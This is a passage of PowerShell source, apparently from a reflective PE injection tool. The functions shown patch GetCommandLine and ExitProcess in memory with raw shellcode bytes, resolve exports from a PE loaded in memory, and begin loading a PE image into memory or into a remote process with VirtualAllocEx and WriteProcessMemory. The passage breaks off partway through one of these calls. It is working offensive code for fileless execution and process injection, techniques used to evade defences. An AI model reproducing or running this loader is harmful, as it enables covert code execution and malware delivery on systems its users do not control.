[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) 1964 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) 1965 | [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) 1966 | 1967 | [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics 1968 | [UInt32]$SectionSize = $SectionHeader.VirtualSize 1969 | 1970 | [UInt32]$OldProtectFlag = 0 1971 | Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null 1972 | $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) 1973 | if ($Success -eq $false) 1974 | { 1975 | Throw "Unable to change memory protection" 1976 | } 1977 | } 1978 | } 1979 | 1980 | #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE 1981 | #Returns an object with addresses to copies of the bytes that were overwritten (and the count) 1982 | Function Update-ExeFunctions 1983 | { 1984 | Param( 1985 | [Parameter(Position = 0, Mandatory = $true)] 1986 | [System.Object] 1987 | $PEInfo, 1988 | 1989 | [Parameter(Position = 1, Mandatory = $true)] 1990 | [System.Object] 1991 | $Win32Functions, 1992 | 1993 | [Parameter(Position = 2, Mandatory = $true)] 1994 | [System.Object] 1995 | $Win32Constants, 1996 | 1997 | [Parameter(Position = 3, Mandatory = $true)] 1998 | [String] 1999 | $ExeArguments, 2000 | 2001 | [Parameter(Position = 4, Mandatory = $true)] 2002 | [IntPtr] 2003 | $ExeDoneBytePtr 2004 | ) 2005 | 2006 | #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. 2007 | $ReturnArray = @() 2008 | 2009 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 2010 | [UInt32]$OldProtectFlag = 0 2011 | 2012 | [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") 2013 | if ($Kernel32Handle -eq [IntPtr]::Zero) 2014 | { 2015 | throw "Kernel32 handle null" 2016 | } 2017 | 2018 | [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") 2019 | if ($KernelBaseHandle -eq [IntPtr]::Zero) 2020 | { 2021 | throw "KernelBase handle null" 2022 | } 2023 | 2024 | ################################################# 2025 | #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. 2026 | # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. 2027 | $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) 2028 | $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) 2029 | 2030 | [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") 2031 | [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") 2032 | 2033 | if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) 2034 | { 2035 | throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" 2036 | } 2037 | 2038 | #Prepare the shellcode 2039 | [Byte[]]$Shellcode1 = @() 2040 | if ($PtrSize -eq 8) 2041 | { 2042 | $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 2043 | } 2044 | $Shellcode1 += 0xb8 2045 | 2046 | [Byte[]]$Shellcode2 = @(0xc3) 2047 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length 2048 | 2049 | 2050 | #Make copy of GetCommandLineA and GetCommandLineW 2051 | $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2052 | $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2053 | $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null 2054 | $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null 2055 | $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) 2056 | $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) 2057 | 2058 | #Overwrite GetCommandLineA 2059 | [UInt32]$OldProtectFlag = 0 2060 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2061 | if ($Success = $false) 2062 | { 2063 | throw "Call to VirtualProtect failed" 2064 | } 2065 | 2066 | $GetCommandLineAAddrTemp = $GetCommandLineAAddr 2067 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp 2068 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) 2069 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) 2070 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize 2071 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp 2072 | 2073 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2074 | 2075 | 2076 | #Overwrite GetCommandLineW 2077 | [UInt32]$OldProtectFlag = 0 2078 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2079 | if ($Success = $false) 2080 | { 2081 | throw "Call to VirtualProtect failed" 2082 | } 2083 | 2084 | $GetCommandLineWAddrTemp = $GetCommandLineWAddr 2085 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp 2086 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) 2087 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) 2088 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize 2089 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp 2090 | 2091 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2092 | ################################################# 2093 | 2094 | 2095 | ################################################# 2096 | #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. 2097 | # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. 2098 | # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the 2099 | # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. 2100 | $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` 2101 | , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") 2102 | 2103 | foreach ($Dll in $DllList) 2104 | { 2105 | [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) 2106 | if ($DllHandle -ne [IntPtr]::Zero) 2107 | { 2108 | [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") 2109 | [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") 2110 | if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) 2111 | { 2112 | "Error, couldn't find _wcmdln or _acmdln" 2113 | } 2114 | 2115 | $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) 2116 | $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) 2117 | 2118 | #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state 2119 | $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) 2120 | $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) 2121 | $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 2122 | $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) 2123 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) 2124 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) 2125 | $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) 2126 | $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) 2127 | 2128 | $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2129 | if ($Success = $false) 2130 | { 2131 | throw "Call to VirtualProtect failed" 2132 | } 2133 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) 2134 | $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null 2135 | 2136 | $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) 2137 | if ($Success = $false) 2138 | { 2139 | throw "Call to VirtualProtect failed" 2140 | } 2141 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) 2142 | $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null 2143 | } 2144 | } 2145 | ################################################# 2146 | 2147 | 2148 | ################################################# 2149 | #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. 2150 | 2151 | $ReturnArray = @() 2152 | $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process 2153 | 2154 | #CorExitProcess (compiled in to visual studio c++) 2155 | [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") 2156 | if ($MscoreeHandle -eq [IntPtr]::Zero) 2157 | { 2158 | throw "mscoree handle null" 2159 | } 2160 | [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") 2161 | if ($CorExitProcessAddr -eq [IntPtr]::Zero) 2162 | { 2163 | Throw "CorExitProcess address not found" 2164 | } 2165 | $ExitFunctions += $CorExitProcessAddr 2166 | 2167 | #ExitProcess (what non-managed programs use) 2168 | [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") 2169 | if ($ExitProcessAddr -eq [IntPtr]::Zero) 2170 | { 2171 | Throw "ExitProcess address not found" 2172 | } 2173 | $ExitFunctions += $ExitProcessAddr 2174 | 2175 | [UInt32]$OldProtectFlag = 0 2176 | foreach ($ProcExitFunctionAddr in $ExitFunctions) 2177 | { 2178 | $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr 2179 | #The following is the shellcode (Shellcode: ExitThread.asm): 2180 | #32bit shellcode 2181 | [Byte[]]$Shellcode1 = @(0xbb) 2182 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) 2183 | #64bit shellcode (Shellcode: ExitThread.asm) 2184 | if ($PtrSize -eq 8) 2185 | { 2186 | [Byte[]]$Shellcode1 = @(0x48, 0xbb) 2187 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) 2188 | } 2189 | [Byte[]]$Shellcode3 = @(0xff, 0xd3) 2190 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length 2191 | 2192 | [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") 2193 | if ($ExitThreadAddr -eq [IntPtr]::Zero) 2194 | { 2195 | Throw "ExitThread address not found" 2196 | } 2197 | 2198 | $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) 2199 | if ($Success -eq $false) 2200 | { 2201 | Throw "Call to VirtualProtect failed" 2202 | } 2203 | 2204 | #Make copy of original ExitProcess bytes 2205 | $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) 2206 | $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null 2207 | $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) 2208 | 2209 | #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then 2210 | # call ExitThread 2211 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp 2212 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) 2213 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) 2214 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize 2215 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp 2216 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) 2217 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) 2218 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize 2219 | Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp 2220 | 2221 | $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2222 | } 2223 | ################################################# 2224 | 2225 | Write-Output $ReturnArray 2226 | } 2227 | 2228 | 2229 | #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) 2230 | # It copies Count bytes from Source to Destination. 2231 | Function Copy-ArrayOfMemAddresses 2232 | { 2233 | Param( 2234 | [Parameter(Position = 0, Mandatory = $true)] 2235 | [Array[]] 2236 | $CopyInfo, 2237 | 2238 | [Parameter(Position = 1, Mandatory = $true)] 2239 | [System.Object] 2240 | $Win32Functions, 2241 | 2242 | [Parameter(Position = 2, Mandatory = $true)] 2243 | [System.Object] 2244 | $Win32Constants 2245 | ) 2246 | 2247 | [UInt32]$OldProtectFlag = 0 2248 | foreach ($Info in $CopyInfo) 2249 | { 2250 | $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) 2251 | if ($Success -eq $false) 2252 | { 2253 | Throw "Call to VirtualProtect failed" 2254 | } 2255 | 2256 | $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null 2257 | 2258 | $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null 2259 | } 2260 | } 2261 | 2262 | 2263 | ##################################### 2264 | ########## FUNCTIONS ########### 2265 | ##################################### 2266 | Function Get-MemoryProcAddress 2267 | { 2268 | Param( 2269 | [Parameter(Position = 0, Mandatory = $true)] 2270 | [IntPtr] 2271 | $PEHandle, 2272 | 2273 | [Parameter(Position = 1, Mandatory = $true)] 2274 | [String] 2275 | $FunctionName 2276 | ) 2277 | 2278 | $Win32Types = Get-Win32Types 2279 | $Win32Constants = Get-Win32Constants 2280 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2281 | 2282 | #Get the export table 2283 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) 2284 | { 2285 | return [IntPtr]::Zero 2286 | } 2287 | $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) 2288 | $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) 2289 | 2290 | for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) 2291 | { 2292 | #AddressOfNames is an array of pointers to strings of the names of the functions exported 2293 | $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) 2294 | $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) 2295 | $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) 2296 | 2297 | if ($Name -ceq $FunctionName) 2298 | { 2299 | #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions 2300 | # which contains the offset of the function in to the DLL 2301 | $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) 2302 | $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) 2303 | $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) 2304 | $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) 2305 | return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) 2306 | } 2307 | } 2308 | 2309 | return [IntPtr]::Zero 2310 | } 2311 | 2312 | 2313 | Function Invoke-MemoryLoadLibrary 2314 | { 2315 | Param( 2316 | [Parameter( Position = 0, Mandatory = $true )] 2317 | [Byte[]] 2318 | $PEBytes, 2319 | 2320 | [Parameter(Position = 1, Mandatory = $false)] 2321 | [String] 2322 | $ExeArgs, 2323 | 2324 | [Parameter(Position = 2, Mandatory = $false)] 2325 | [IntPtr] 2326 | $RemoteProcHandle, 2327 | 2328 | [Parameter(Position = 3)] 2329 | [Bool] 2330 | $ForceASLR = $false 2331 | ) 2332 | 2333 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) 2334 | 2335 | #Get Win32 constants and functions 2336 | $Win32Constants = Get-Win32Constants 2337 | $Win32Functions = Get-Win32Functions 2338 | $Win32Types = Get-Win32Types 2339 | 2340 | $RemoteLoading = $false 2341 | if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) 2342 | { 2343 | $RemoteLoading = $true 2344 | } 2345 | 2346 | #Get basic PE information 2347 | Write-Verbose "Getting basic PE information from the file" 2348 | $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types 2349 | $OriginalImageBase = $PEInfo.OriginalImageBase 2350 | $NXCompatible = $true 2351 | if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) 2352 | { 2353 | Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue 2354 | $NXCompatible = $false 2355 | } 2356 | 2357 | 2358 | #Verify that the PE and the current process are the same bits (32bit or 64bit) 2359 | $Process64Bit = $true 2360 | if ($RemoteLoading -eq $true) 2361 | { 2362 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") 2363 | $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") 2364 | if ($Result -eq [IntPtr]::Zero) 2365 | { 2366 | Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" 2367 | } 2368 | 2369 | [Bool]$Wow64Process = $false 2370 | $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) 2371 | if ($Success -eq $false) 2372 | { 2373 | Throw "Call to IsWow64Process failed" 2374 | } 2375 | 2376 | if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) 2377 | { 2378 | $Process64Bit = $false 2379 | } 2380 | 2381 | #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly 2382 | $PowerShell64Bit = $true 2383 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) 2384 | { 2385 | $PowerShell64Bit = $false 2386 | } 2387 | if ($PowerShell64Bit -ne $Process64Bit) 2388 | { 2389 | throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" 2390 | } 2391 | } 2392 | else 2393 | { 2394 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) 2395 | { 2396 | $Process64Bit = $false 2397 | } 2398 | } 2399 | if ($Process64Bit -ne $PEInfo.PE64Bit) 2400 | { 2401 | Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" 2402 | } 2403 | 2404 | 2405 | #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address 2406 | Write-Verbose "Allocating memory for the PE and write its headers to memory" 2407 | 2408 | #ASLR check 2409 | [IntPtr]$LoadAddr = [IntPtr]::Zero 2410 | $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 2411 | if ((-not $ForceASLR) -and (-not $PESupportsASLR)) 2412 | { 2413 | Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue 2414 | [IntPtr]$LoadAddr = $OriginalImageBase 2415 | } 2416 | elseif ($ForceASLR -and (-not $PESupportsASLR)) 2417 | { 2418 | Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." 2419 | } 2420 | 2421 | if ($ForceASLR -and $RemoteLoading) 2422 | { 2423 | Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop 2424 | } 2425 | if ($RemoteLoading -and (-not $PESupportsASLR)) 2426 | { 2427 | Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop 2428 | } 2429 | 2430 | $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell 2431 | $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. 2432 | if ($RemoteLoading -eq $true) 2433 | { 2434 | #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup 2435 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 2436 | 2437 | #todo, error handling needs to delete this memory if an error happens along the way 2438 | $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2439 | if ($EffectivePEHandle -eq [IntPtr]::Zero) 2440 | { 2441 | Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" 2442 | } 2443 | } 2444 | else 2445 | { 2446 | if ($NXCompatible -eq $true) 2447 | { 2448 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) 2449 | } 2450 | else 2451 | { 2452 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2453 | } 2454 | $EffectivePEHandle = $PEHandle 2455 | } 2456 | 2457 | [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) 2458 | if ($PEHandle -eq [IntPtr]::Zero) 2459 | { 2460 | Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." 2461 | } 2462 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null 2463 | 2464 | 2465 | #Now that the PE is in memory, get more detailed information about it 2466 | Write-Verbose "Getting detailed PE information from the headers loaded in memory" 2467 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2468 | $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress 2469 | $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle 2470 | Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" 2471 | 2472 | 2473 | #Copy each section from the PE in to memory 2474 | Write-Verbose "Copy PE sections in to memory" 2475 | Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types 2476 | 2477 | 2478 | #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded 2479 | Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" 2480 | Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types 2481 | 2482 | 2483 | #The PE we are in-memory loading has DLLs it needs, import those DLLs for it 2484 | Write-Verbose "Import DLL's needed by the PE we are loading" 2485 | if ($RemoteLoading -eq $true) 2486 | { 2487 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle 2488 | } 2489 | else 2490 | { 2491 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants 2492 | } 2493 | 2494 | 2495 | #Update the memory protection flags for all the memory just allocated 2496 | if ($RemoteLoading -eq $false) 2497 | { 2498 | if ($NXCompatible -eq $true) 2499 | { 2500 | Write-Verbose "Update memory protection flags" 2501 | Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types 2502 | } 2503 | else 2504 | { 2505 | Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" 2506 | } 2507 | } 2508 | else 2509 | { 2510 | Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" 2511 | } 2512 | 2513 | 2514 | #If remote loading, copy the DLL in to remote process memory 2515 | if ($RemoteLoading -eq $true) 2516 | { 2517 | [UInt32]$NumBytesWritten = 0 2518 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, 